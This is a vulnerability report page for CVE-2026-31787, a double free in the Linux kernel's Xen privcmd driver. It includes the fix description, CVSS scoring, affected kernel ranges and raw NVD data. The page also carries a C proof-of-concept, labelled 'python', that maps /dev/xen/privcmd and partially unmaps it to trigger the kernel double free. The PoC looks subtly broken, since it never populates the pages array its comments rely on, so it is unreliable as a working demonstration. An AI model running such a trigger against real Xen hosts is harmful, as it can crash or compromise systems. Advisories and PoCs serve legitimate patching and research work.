Security Vulnerability Report
中文
CVE-2026-31787 CVSS 7.8 HIGH

CVE-2026-31787

Published: 2026-04-30 11:16:21
Last Modified: 2026-05-06 19:38:54
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xen/privcmd: fix double free via VMA splitting privcmd_vm_ops defines .close (privcmd_close), but neither .may_split nor .open. When userspace does a partial munmap() on a privcmd mapping, the kernel splits the VMA via __split_vma(). Since may_split is NULL, the split is allowed. vm_area_dup() copies vm_private_data (a pages array allocated in alloc_empty_pages()) into the new VMA without any fixup, because there is no .open callback. Both VMAs now point to the same pages array. When the unmapped portion is closed, privcmd_close() calls: - xen_unmap_domain_gfn_range() - xen_free_unpopulated_pages() - kvfree(pages) The surviving VMA still holds the dangling pointer. When it is later destroyed, the same sequence runs again, which leads to a double free. Fix this issue by adding a .may_split callback denying the VMA split. This is XSA-487 / CVE-2026-31787

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (具体受影响版本请参考Git提交记录)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> // PoC for CVE-2026-31787: Linux Kernel xen/privcmd Double Free // This triggers the VMA splitting logic that leads to a double free. int main() { int fd; void *addr; size_t len = 0x10000; // 64KB mapping // Open the privcmd device (requires Xen environment) fd = open("/dev/xen/privcmd", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/xen/privcmd"); return 1; } printf("[+] Opened /dev/xen/privcmd\n"); // Create a mapping using privcmd addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) { perror("[-] mmap failed"); close(fd); return 1; } printf("[+] Mapped address at %p\n", addr); // Trigger the vulnerability: // Perform a partial munmap. This splits the VMA. // The split VMA will duplicate the pointer to the pages array. printf("[+] Attempting partial munmap to split VMA...\n"); if (munmap(addr + 0x1000, 0x1000) != 0) { perror("[-] munmap failed"); } else { printf("[+] Partial munmap succeeded. VMA split.\n"); } // Cleanup: Closing the remaining mapping or file descriptor // will trigger privcmd_close, attempting to free the pages array twice. printf("[+] Cleaning up... (Triggering Double Free)\n"); munmap(addr, len); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31787", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-30T11:16:21.087", "lastModified": "2026-05-06T19:38:53.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/privcmd: fix double free via VMA splitting\n\nprivcmd_vm_ops defines .close (privcmd_close), but neither .may_split\nnor .open. When userspace does a partial munmap() on a privcmd mapping,\nthe kernel splits the VMA via __split_vma(). Since may_split is NULL,\nthe split is allowed. vm_area_dup() copies vm_private_data (a pages\narray allocated in alloc_empty_pages()) into the new VMA without any\nfixup, because there is no .open callback.\n\nBoth VMAs now point to the same pages array. When the unmapped portion\nis closed, privcmd_close() calls:\n - xen_unmap_domain_gfn_range()\n - xen_free_unpopulated_pages()\n - kvfree(pages)\n\nThe surviving VMA still holds the dangling pointer. When it is later\ndestroyed, the same sequence runs again, which leads to a double free.\n\nFix this issue by adding a .may_split callback denying the VMA split.\n\nThis is XSA-487 / CVE-2026-31787"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8", "versionEndExcluding": "5.10.254", "matchCriteriaId": "3DE3234F-8A05-4247-9F10-5D657450C37A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.204", "matchCriteriaId": "FA800016-0012-4E3F-A528-2A7F378A0A4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.170", "matchCriteriaId": "E6653854-B188-42DD-B8C5-0143F1956AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.137", "matchCriteriaId": "3CA3EF52-168A-4348-8F5F-356C9EB69261"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.85", "matchCriteriaId": "F17D292D-A9B5-4DC7-8002-51AB95335606"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.26", "matchCriteriaId": "85751F83-26BA-498C-90E7-E38A59C4564D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.3", "matchCriteriaId": "C7C9A567-4F4F-4C61-BAD3-440B34C67118"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1576ff3869cbd3620717195f971c85b7d7fd62b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/24daca4fc07f3ff8cd0e3f629cd982187f48436a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2894a351fe2ea8684919d36df3188b9a35e3926f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2b985d3a024b9e8c24e21671b34e855569763808", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/402d84ad9e89bd4cbfd07ca8598532b7021daf95", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/446ee446d9ae66f36e95c3c90bbcc4e56b94cde0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/71bf829800758a6e3889096e4754ef47ba7fc850", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dbf862ce9f009128ab86b234d91413a3e450beb4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/14", "source": "af854a3a-2 ... (truncated)